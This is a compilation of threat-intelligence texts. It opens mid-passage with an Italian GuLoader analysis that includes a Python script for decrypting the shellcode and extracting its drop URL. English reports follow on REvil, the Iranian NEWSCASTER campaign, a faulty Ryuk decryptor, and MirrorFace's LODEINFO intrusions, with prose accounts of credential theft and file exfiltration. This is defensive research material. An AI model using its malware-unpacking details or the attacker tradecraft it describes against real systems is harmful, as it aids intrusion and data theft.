funzione di decifratura non cambi ed eventualmente tornare ad un metodo bruteforce nel caso questo fallisca. Ottenuta la chiave è possibile fare un bruteforce su ogni offset e prendere le stringhe stampabili di almeno n caratteri. Si deve porre attenzione al fatto che le stringhe sono, o potrebbero essere, in UTF-16. Nello script di seguito riportato vengono ricercate tutte le stringhe ma mostrate solo quelle con http o :// ed è possibile ottimizzarlo per cercare solo quelle di interesse: ```python def get_string_key(data): call_strdec = b"\xe8\xd9\xfe\xff\xff" # The string key are the 0x2b bytes after this call. # If this fails, we can try looking for all E8 (relative) calls if call_strdec in data: i = data.index(call_strdec) + 5 return data[i:i + 0x2b] def find_strs(data, skey, mlen=100): strs = [] i = 0 while i < len(data): possible = xor(data, i, skey, 0, mlen) s = b"" for j in range(len(possible)): if (possible[j] >= 0x20 and possible[j] <= 0x7f) or possible[j] in [0xa, 0xd, 0x00, 0x07]: s += bytes([possible[j]]) else: break s2 = s.replace(b"\x00", b"") if len(s2) >= 5: strs.append(s2) i += len(s) i += 1 return strs def interesting_str(strs): res = False for s in strs: if b"http" in s or b"://" in s: print(s) res = True return res ``` Lo script completo Lo script seguente è un PoC su come estrarre il drop url da un campione GuLoader. Potrebbe essere necessario sistemare `get_string_key` con una nuova firma o un’euristica. La nuova firma è ottenibile con una breve analisi: è possibile anche posizionare un breakpoint in `ZwAllocateVirtualMemory` e poi seguire le chiamate per arrivare direttamente alla funzione che decifra le stringhe (come mostrata nelle figure precedenti). Lo script si esegue passandogli lo shellcode di GuLoader: questo va estratto manualmente dal vettore di infezione. Il campione in analisi utilizzava uno script NSIS per questo: ```python import struct from binascii import hexlify import sys def read_shellcode(filename): with open(filename, "rb") as f: data = f.read() return data def count_dwords(data, skew=0): hist = {} for i in range(0 + skew, (len(data)-skew)//4 * 4, 4): dw = struct.unpack("<I", data[i:i+4])[0] if dw <= 0xffffff: continue if dw not in hist: hist[dw] = 1 else: hist[dw] += 1 return {x[0]: x[1] for i, x in enumerate(sorted(hist.items(), key=lambda x: -x[1])) if i < 10} def xor(b1, i1, b2, i2, l, dbg=False): res = [0] * l for i in range(i1, i1+l): if dbg and i > len(b1): print("Wrap around1") if dbg and i-i1 < 16: print(hex(i % len(b1)), hex(b1[i % len(b1)]), hex((i2 + i-i1) % len(b2)), hex(b2[(i2 + i-i1) % len(b2)]), hex(b1[i % len(b1)] ^ b2[(i2 + i-i1) % len(b2)])) res[i-i1] = b1[i % len(b1)] ^ b2[(i2 + i-i1) % len(b2)] return bytes(res) def find_stage2(data, key): sign = b"\x11\x90\xea\xe9" # Alternative signature: b"\xe9\x4d\x01\x00" sign_off = 5 # Alternative offset: 0 dec = b"" for i in range(0, len(data), 4): dec = (dec + xor(data, i, key, 0, 4))[-8:] if sign in dec: j = dec.index(sign) return i + j - 4 - sign_off def shift(data, val): return data[val:] + data[:val] def decrypt_stage2(data): for k, v in count_dwords(data).items(): print(f"🤞 Possible (rotated) decrypt key: {hex(k)}") key = struct.pack("<I", k) offset = find_stage2(data, key) if offset is None: print(f"😐 No stage found for this key, trying next one.") continue else: print(f"Stage 2 found at offset {hex(offset)}") key = shift(key, offset & 0x3) print(f"Adjusted key to: {hex(struct.unpack('<I', key)[0])}") dec_data = data[:offset] + xor(data, offset, key, 0, len(data)-offset) print(f" Stage 2 decrypted.") return dec_data def get_string_key(data): call_strdec = b"\xe8\xd9\xfe\xff\xff" # The string key are the 0x2b bytes after this call. # If this fails, we can try looking for all E8 (relative) calls if call_strdec in data: i = data.index(call_strdec) + 5 return data[i:i + 0x2b] def find_strs(data, skey, mlen=100): strs = [] i = 0 while i < len(data): possible = xor(data, i, skey, 0, mlen) s = b"" for j in range(len(possible)): if (possible[j] >= 0x20 and possible[j] <= 0x7f) or possible[j] in [0xa, 0xd, 0x00, 0x07]: s += bytes([possible[j]]) else: break s2 = s.replace(b"\x00", b"") if len(s2) >= 5: strs.append(s2) i += len(s) i += 1 return strs def interesting_str(strs): res = False for s in strs: if b"http" in s or b"://" in s: print(s) res = True return res def extract_info(data): dec_data = decrypt_stage2(data) print("Looking for the string key.") str_key = get_string_key(dec_data) if str_key is None: print("💔 No string key found. Aborted.") return False else: print(f"🥳 String key found: {hexlify(str_key)}") print("Finding strings by bruteforce...") strs = find_strs(dec_data, str_key) print("Interesting strings found:") return interesting_str(strs) # MAIN if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} SHELLCODE_FILENAME", file=sys.stderr) sys.exit(1) sys.exit(2 if not extract_info(read_shellcode(sys.argv[1])) else 0) ``` Esempio: ``` $ python3 gl.py ~/shared/guloader_shellcode 🤞 Possible (rotated) decrypt key: 0x33e7b49b Stage 2 found at offset 0x20ea Adjusted key to: 0xb49b33e7 Stage 2 decrypted. ``` Ottenuto il drop url è quindi possibile scaricare il payload. I primi 64 byte sono random e non usati, i restanti sono un PE xorato con una chiave. Non essendo il payload disponibile al momento di questa analisi non abbiamo potuto automatizzare la sua decodifica. Si suggeriscono comunque due approcci: 1. La chiave è solitamente tra i 0x200 e i 0x380 byte, i PE contengono spesso lunghe sequenze di byte nulli che rileverebbero la chiave. Cercando una sequenza ripetuta è possibile estrarre la chiave. 2. Alcuni campi di un PE sono noti, questo rileva parte della chiave. ## Aggiornamento In seguito all’analisi di ulteriori sample è stato notato che la variabilità tra questi è troppo alta affinchè un approccio basato sul riconoscimento di firme (come avviene nello script sopra) possa funzionare. L’alternativa è quella di utilizzare un approccio puramente bruteforce: 1. Enumerare le prime n DWORD più presenti nello shellcode. La speranza è che qualcuna di queste sia la chiave XOR per decodificare il secondo stadio (l’idea è che il secondo stadio contenga un numero elevato di zeri e quindi una volta cifrato un numero elevato di DWORD che corrispondono alla chiave). 2. Per ogni DWORD, usarla come chiave per decifricare il secondo stadio. Contrariamente a prima non sono fatti controlli riguardo la validità del secondo stadio ottenuto. 3. Cercare tutte le chiamate dirette relative all’indietro, il cui offset sia compreso tra valori negativi piccoli (di default lo script usa -500 e -100). Questo passo identifica ogni possibile chiamata che delimita la chiave per decifrare le stringhe. Contrariamente a prima non sono fatte verifiche e tutti i candidati sono presi in considerazione. 4. Usare tutte le chiavi candidate ottenute al punto 3 per decifrare le stringhe e mostrare quelle che contengono determinati caratteri (es: http). Oltre a questo approccio puramente bruteforce, è stata aggiunta la possibilità di continuare la ricerca quando viene trovata una stringa di interesse e soprattutto di salvare su file il secondo stadio decodificato. Questo tornerà utile per decodificare il payload.
# REvil Disappears Again: ‘Something Is Rotten in the State of Ransomware’ Flashpoint analysts are tracking the evolving situation around the re-disappearance of REvil. As of October 17, 2021, the REvil leaks blog, known as the Happy Blog, is offline and inaccessible. Additionally, on October 17, a REvil operator announced that the ransomware group was shutting down on the high-tier Russian language forum XSS after their domain had been “hijacked.” The threat actor explained that an unidentified person had used the private Tor keys of the group’s former spokesperson, “Unknown,” to access the REvil domain. After the ransomware group shut down in July 2021, REvil operators believed Unknown had disappeared. However, between noon and 5 PM Moscow time, the REvil operation stated that the REvil domain was accessed using Unknown’s keys, confirming their concerns that a third party has backups with their service keys. The REvil operator added that the REvil server was compromised and the hijacker deleted “0-neday’s” access to their hidden admin server. 0_neday believes the hijacker was looking for them. 0_neday signed off XSS and wished the participants “good luck.” Flashpoint analysts note that this was an unexpected turn in REvil’s attempt to reconstitute their operations, as the group had just begun recruiting new affiliates on the RAMP forum and offering unusually high commissions of 90 percent to attract affiliates. Flashpoint analysts are tracking the situation and will provide updates as they arise. Users on XSS were generally incredulous at this new announcement. The spokesperson of the LockBit ransomware gang claimed this new disappearance is proof that the REvil re-emergence in September was part of an elaborate FBI plot to catch REvil affiliates. Several threat actors agreed with the Lockbit representative and added that they believed that REvil will re-emerge again under a totally new name, leaving behind recent scandals without having to pay out old affiliates. Another threat actor added, paraphrasing Shakespeare, “Something is rotten in the state of ransomware.” On October 18, at 10 AM EST, the XSS moderators closed the thread where REvil made the announcement and advised fellow users to block REvil accounts.
# Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation By Mike Lennon on May 29, 2014 Iranian threat actors, using more than a dozen fake personas on popular social networking sites, have been running a wide-spanning cyber espionage operation since 2011, according to cyber intelligence firm iSIGHT Partners. The recently uncovered activity, which iSIGHT Partners calls NEWSCASTER, was a “brazen, complex multi-year cyber-espionage that used a low-tech approach to avoid traditional security defenses – exploiting social media and people who are often the ‘weakest link’ in the security chain.” Using the fake personas, including at least two (falsified) legitimate identities from leading news organizations and young, attractive women, the attackers were supported by a fictitious news organization called NewsOnAir.org and were successful in connecting or victimizing over 2,000 individuals. “These credible personas then connected, linked, followed, and ‘friended’ target victims, giving them access to information on location, activities, and relationships from updates and other common content,” iSIGHT Partners said. The attackers used popular social media platforms such as Facebook, Twitter, LinkedIn, Google+, YouTube, and Blogger as their attack platform. While the attack method is not novel, the cyber intelligence firm says that what this group lacks in technical sophistication they make up for in brashness, creativity, and patience. Working undetected since 2011, iSIGHT Partners said targets included senior U.S. military and diplomatic personnel, congressional personnel, Washington D.C. area journalists, U.S. think tanks, and defense contractors in the U.S. and Israel. Other victims targeted were in the U.K., Saudi Arabia, Iraq, and also included vocal supporters of Israel. “Though it is possible anyone connected to the network was compromised, deliberate attempts to connect with certain entities suggest an interest in political, military, diplomatic, and technical intelligence,” the closely held report said. “Largely this campaign was about credential harvesting and recon,” Stephen Ward, Senior Director of Marketing at iSIGHT Partners, told SecurityWeek. “They are using those connections to harvest connections to corporate email, harvest connections to personal email, and use those springboards for further lateral movement,” he said. After making connections on social networks, targets were sent spear-phishing messages, often with links asking recipients to log in to fake pages in order to capture credentials. Below is a list of some of the accounts/fake personas allegedly used by the attackers. The campaign also leveraged malware, and while the malware used was not particularly sophisticated, it does include the capability to exfiltrate data. “They are sort of disadvantaged from a technological advancement side of things,” Ward said, referring to assumed Iranian attackers. “They have taken to the cyber world the same way you can compare the impact of [improvised explosive devices]. The approach is low cost and does not really use a lot of sophistication from an exploit perspective, but is very effective and ultimately a bit more under the radar.” “Adversaries such as these are increasingly adept at finding and exploiting opportunities to carry out cyber espionage, even when lacking sophisticated capability,” iSIGHT Partners concluded. “NEWSCASTER’s success is largely due to its patience, brazen nature, and innovative use of multiple social media platforms.” Organizations involved in critical infrastructure, or who have information that may be of strategic or tactical interest to a nation-state adversary should be concerned about a threat such as this, iSIGHT Partners warned. We are protective of sources and methods, but we can confirm that these actors did not go unnoticed by some targeted entities and they left significant evidence of their activity throughout the Internet. ## Attribution to Iran According to iSIGHT Partners, there is no direct information showing that the Iranian government is the ultimate sponsor of the campaign, but iSIGHT researchers do believe the threat actors are located in Iran. “[The attackers] maintained a regular schedule, including what appears to be a lengthy lunch break followed by the remainder of the work day,” the report said. “These hours conform to work hours in Tehran. Furthermore, the operators work half the day on Thursday and rarely work on Friday, the Iranian weekend.” Additional clues, such as the targets the attackers selected, along with additional technical indicators, sparked iSIGHT to believe NEWSCASTER stems from Iran. iSIGHT Partners said it did coordinate with the FBI to brief government agencies and also notified Facebook, LinkedIn, and other social networks. According to Ward, the identified malicious personas have been removed from Facebook and LinkedIn. The report from iSIGHT Partners comes roughly two weeks after a report from FireEye, which suggested that Iranian attackers’ methodologies have “grown more consistent with other advanced persistent threat (APT) actors in and around Iran" following cyber attacks against Iran in the late 2000s. “Iran has steadily increased their focus on cyber espionage over the years, placing significant emphasis on enhancing capabilities following the Stuxnet attacks,” Michael Sutton, VP of Security Research for Zscaler, told SecurityWeek. “The NEWSCASTER attacks, while not technically sophisticated, were allegedly quite successful. Often social engineering can be the most powerful tool in an attacker's arsenal.” Social networks are a significant challenge for security teams, Sutton says. “They generally represent a personal communication medium which the organization does not have direct control over and yet can become a source of leaked data or a catalyst for attack as has been seen in the NEWSCASTER attacks. Moreover, due to password reuse, even if an attacker can gain access to credentials used by a victim on personal accounts, there is a strong likelihood that the same credentials have also been used for more sensitive corporate accounts.” “The campaign reported by iSIGHT Partners uncovers what we have known for the last decade – that sophisticated hackers backed by nation states target the weakest link on networks – the user with relatively unsophisticated techniques including spear phishing and social media,” Anup Ghosh, founder and CEO of Invincea, told SecurityWeek. “Using social media is both a way of establishing false bona fides while presenting a well-accepted vector for reaching targets,” Ghosh continued. “A simple LinkedIn or Twitter update with a link, or a timely email from a connection with embedded link or attachment is enough to compromise the intended target's machine, accounts, data, and enterprise network.” “This is not surprising as every major foreign adversary is leveraging social media as a cyber attack vector,” added James C. Foster, CEO of ZeroFOX. “Our government realizes this threat is increasing and social media is being used for target reconnaissance and exploitation.”
# Caution! Ryuk Ransomware Decryptor Damages Larger Files, Even If You Pay Ryuk has plagued the public and private sectors alike over the past years, generating hundreds of millions of ransom revenues for the criminals behind it. Usually deployed via an existing malware infection within a target’s network, Ryuk wreaks havoc on any system that can be accessed, encrypting data using a combination of RSA and AES. Just because Ryuk has been hugely successful, doesn’t mean its creators stopped evolving and improving it, however. So it comes to no surprise that we have seen multiple new features added to Ryuk over the past year. One of these features that isn’t well documented is its capability to partially encrypt files. Essentially, whenever Ryuk encounters a file that is larger than 57,000,000 bytes (or 54.4 megabytes) it will only encrypt certain parts of it in order to save time and allow it to work its way through the data as quickly as possible before anyone notices. Files that are only partially encrypted will show a slightly different-than-normal footer at the end of the file, where Hermes usually stores the RSA-encrypted AES key that was used to encrypt the file’s content. In addition to the HERMES files marker used by Ryuk, you will also find a clearly visible counter of how many 1,000,000 bytes blocks have been encrypted for this file. If that indicator is missing, the whole file is considered to be encrypted. In one of the latest versions of Ryuk, changes were made to the way the length of the footer is calculated. As a result, the decryptor provided by the Ryuk authors will truncate files, cutting off one too many bytes in the process of decrypting the file. Depending on the exact file type, this may or may not cause major issues. In the best-case scenario, the byte that was cut off by the buggy decryptor was unused and just some slack space at the end created by aligning the file towards certain file size boundaries. However, a lot of virtual disk type files like VHD/VHDX as well as a lot of database files like Oracle database files will store important information in that last byte and files damaged this way will fail to load properly after they are decrypted. One of the services we provide at Emsisoft is to help ransomware victims who paid the ransom to recover their files even if the ransomware authors left them hanging by either being uncooperative or providing tools that do not do the job properly, both of which are increasingly common outcomes. So if you are a Ryuk victim that was hit within the last two weeks and have files which will not load, please contact us so we can provide you with a properly working decryptor. Please understand that this will only work if you still have copies or backups of your encrypted data, as the Ryuk decryptor will usually delete files it thinks were decrypted properly. Similarly, if you’ve paid for a decryptor but have yet to use it, either back up your files before running it or get in touch with us instead. Our tool will enable you to safely recover your data whereas the tool supplied by the bad actors will not. A final word of advice: prior to running any ransomware decryptor – whether it was supplied by a bad actor or by a security company – be sure to back up the encrypted data first. Should the tool not work as expected, you’ll be able to try again. The Lab team is a group of cybersecurity researchers whose mission is to enhance protection in Emsisoft products, help organizations respond to security incidents and create analysis that helps decision-makers understand the threat landscape.
# Unmasking MirrorFace: Operation LiberalFace Targeting Japanese Political Entities ESET researchers discovered a spearphishing campaign targeting Japanese political entities a few weeks before the House of Councillors elections, uncovering a previously undescribed MirrorFace credential stealer. ESET researchers discovered a spearphishing campaign, launched in the weeks leading up to the Japanese House of Councillors election in July 2022, by the APT group that ESET Research tracks as MirrorFace. The campaign, named Operation LiberalFace, targeted Japanese political entities, with a specific political party being of particular focus. ESET Research unmasked details about this campaign and the APT group behind it at the AVAR 2022 conference. ## Key Points of the Blogpost - At the end of June 2022, MirrorFace launched a campaign, named Operation LiberalFace, targeting Japanese political entities. - Spearphishing email messages containing the group’s flagship backdoor LODEINFO were sent to the targets. - LODEINFO was used to deliver additional malware, exfiltrate the victim’s credentials, and steal the victim’s documents and emails. - A previously undescribed credential stealer named MirrorStealer was used in Operation LiberalFace. - ESET Research performed an analysis of the post-compromise activities, suggesting that the observed actions were carried out in a manual or semi-manual manner. - Details about this campaign were shared at the AVAR 2022 conference. MirrorFace is a Chinese-speaking threat actor targeting companies and organizations based in Japan. While there is speculation that this threat actor might be related to APT10, ESET is unable to attribute it to any known APT group, tracking it as a separate entity named MirrorFace. MirrorFace and LODEINFO, its proprietary malware used exclusively against targets in Japan, have been reported as targeting media, defense-related companies, think tanks, diplomatic organizations, and academic institutions. The goal of MirrorFace is espionage and exfiltration of files of interest. We attribute Operation LiberalFace to MirrorFace based on these indicators: - LODEINFO malware is exclusively used by MirrorFace. - The targets of Operation LiberalFace align with traditional MirrorFace targeting. - A second-stage LODEINFO malware sample contacted a C&C server that we track internally as part of MirrorFace infrastructure. One of the spearphishing emails sent in Operation LiberalFace posed as an official communication from the PR department of a specific Japanese political party, containing a request related to the House of Councillors elections, purportedly sent on behalf of a prominent politician. All spearphishing emails contained a malicious attachment that, upon execution, deployed LODEINFO on the compromised machine. Additionally, we discovered that MirrorFace has used previously undocumented malware, named MirrorStealer, to steal its target’s credentials. We believe this is the first time this malware has been publicly described. In this blogpost, we cover the observed post-compromise activities, including the C&C commands sent to LODEINFO to carry out the actions. Based on certain activities performed on the affected machine, we think that the MirrorFace operator issued commands to LODEINFO in a manual or semi-manual manner. ## Initial Access MirrorFace started the attack on June 29th, 2022, distributing spearphishing emails with a malicious attachment to the targets. The subject of the email was *SNS用動画 拡散のお願い* (translation: [Important] Request for spreading videos for SNS). Purporting to be a Japanese political party’s PR department, MirrorFace asked the recipients to distribute the attached videos on their own social media profiles (SNS – Social Network Service) to further strengthen the party’s PR and secure victory in the House of Councillors. The email provided clear instructions on the videos’ publication strategy. Since the House of Councillors election was held on July 10th, 2022, this email clearly indicates that MirrorFace sought the opportunity to attack political entities. Specific content in the email indicates that members of a particular political party were targeted. MirrorFace also used another spearphishing email in the campaign, where the attachment was titled *【参考】220628発・選挙管理委員会宛文書(添書分).exe* (translation: [Reference] 220628 Documents from the Ministry of <redacted> to <redacted> election administration committee (appendix).exe). The attached decoy document references the House of Councillors election as well. In both cases, the emails contained malicious attachments in the form of self-extracting WinRAR archives with deceptive names. These EXEs extract their archived content into the %TEMP% folder. In particular, four files are extracted: - K7SysMon.exe, a benign application developed by K7 Computing Pvt Ltd vulnerable to DLL search order hijacking - K7SysMn1.dll, a malicious loader - K7SysMon.Exe.db, encrypted LODEINFO malware - A decoy document Then, the decoy document is opened to deceive the target and appear benign. As the last step, K7SysMon.exe is executed, which loads the malicious loader K7SysMn1.dll dropped alongside it. Finally, the loader reads the content of K7SysMon.Exe.db, decrypts it, and executes it. ## Toolset In this section, we describe the malware MirrorFace utilized in Operation LiberalFace. ### LODEINFO LODEINFO is a MirrorFace backdoor that is under continual development. JPCERT reported the first version of LODEINFO (v0.1.2), which appeared around December 2019; its functionality allows capturing screenshots, keylogging, killing processes, exfiltrating files, and executing additional files and commands. Since then, we have observed several changes introduced to each of its versions. For instance, version 0.3.8 added the command ransom (which encrypts defined files and folders), and version 0.5.6 added the command config, which allows operators to modify its configuration stored in the registry. In Operation LiberalFace, we observed MirrorFace operators utilizing both the regular LODEINFO and what we call the second-stage LODEINFO malware. The second-stage LODEINFO can be distinguished from the regular LODEINFO by looking at the overall functionality. In particular, the second-stage LODEINFO accepts and runs PE binaries and shellcode outside of the implemented commands. Furthermore, the second-stage LODEINFO can process the C&C command config, but the functionality for the command ransom is missing. ### MirrorStealer MirrorStealer, internally named 31558_n.dll by MirrorFace, is a credential stealer. To the best of our knowledge, this malware has not been publicly described. In general, MirrorStealer steals credentials from various applications such as browsers and email clients. Interestingly, one of the targeted applications is Becky!, an email client that is currently only available in Japan. All the stolen credentials are stored in %TEMP%\31558.txt, and since MirrorStealer doesn’t have the capability to exfiltrate the stolen data, it depends on other malware to do it. ## Post-Compromise Activities During our research, we observed some of the commands issued to compromised computers. ### Initial Environment Observation Once LODEINFO was launched on the compromised machines and they had successfully connected to the C&C server, an operator started issuing commands. First, the operator issued one of the LODEINFO commands, print, to capture the screen of the compromised machine. This was followed by another command, ls, to see the content of the current folder in which LODEINFO resided (i.e., %TEMP%). The operator utilized LODEINFO to obtain network information by running net view and net view /domain. ### Credential and Browser Cookie Stealing Having collected this basic information, the operator moved to the next phase. The operator issued the LODEINFO command send with the subcommand -memory to deliver MirrorStealer malware to the compromised machine. The subcommand -memory indicated to LODEINFO to keep MirrorStealer in its memory, meaning the MirrorStealer binary was never dropped on disk. Subsequently, the command memory was issued, instructing LODEINFO to take MirrorStealer, inject it into the spawned cmd.exe process, and run it. Once MirrorStealer had collected the credentials and stored them in %temp%\31558.txt, the operator used LODEINFO to exfiltrate the credentials. The operator was interested in the victim’s browser cookies as well. However, MirrorStealer doesn’t possess the capability to collect those. Therefore, the operator exfiltrated the cookies manually via LODEINFO. ### Document and Email Stealing In the next step, the operator exfiltrated documents of various kinds as well as stored emails. For that, the operator first utilized LODEINFO to deliver the WinRAR archiver (rar.exe). Using rar.exe, the operator collected and archived files of interest that were modified after 2022-01-01 from the folders %USERPROFILE%\ and C:\$Recycle.Bin\. The operator was interested in all such files with the extensions .doc*, .ppt*, .xls*, .jtd, .eml, .*xps, and .pdf. Once the archive was created, the operator delivered the Secure Copy Protocol (SCP) client from the PuTTY suite (pscp.exe) and then used it to exfiltrate the just-created RAR archive to the server at 45.32.13[.]180. Right after the archive was exfiltrated, the operator deleted rar.exe, pscp.exe, and the RAR archive to clean up the traces of the activity. ### Deployment of Second-Stage LODEINFO The last step we observed was delivering the second-stage LODEINFO. The operator delivered the following binaries: JSESPR.dll, JsSchHlp.exe, and vcruntime140.dll to the compromised machine. The original JsSchHlp.exe is a benign application signed by JUSTSYSTEMS CORPORATION. However, in this case, the MirrorFace operator abused a known Microsoft digital signature verification issue and appended RC4 encrypted data to the JsSchHlp.exe digital signature. JSESPR.dll is a malicious loader that reads the appended payload from JsSchHlp.exe, decrypts it, and runs it. The payload is the second-stage LODEINFO, and once running, the operator utilized the regular LODEINFO to set the persistence for the second-stage one. ## Interesting Observations During the investigation, we made a few interesting observations. One of them is that the operator made a few errors and typos when issuing commands to LODEINFO. For example, the operator sent the string cmd /c dir “c:\use\” to LODEINFO, which most likely was supposed to be cmd /c dir “c:\users\”. This suggests the operator is issuing commands to LODEINFO in a manual or semi-manual manner. Our next observation is that even though the operator performed a few cleanups to remove traces of the compromise, the operator forgot to delete %temp%\31558.txt – the log containing the stolen credentials. Thus, at least this trace remained on the compromised machine, showing that the operator was not thorough in the cleanup process. ## Conclusion MirrorFace continues to aim for high-value targets in Japan. In Operation LiberalFace, it specifically targeted political entities using the then-upcoming House of Councillors election to its advantage. Our findings indicate MirrorFace particularly focused on the members of a specific political party. During the Operation LiberalFace investigation, we uncovered further MirrorFace TTPs, such as the deployment and utilization of additional malware and tools to collect and exfiltrate valuable data from victims. Moreover, our investigation revealed that the MirrorFace operators are somewhat careless, leaving traces and making various mistakes.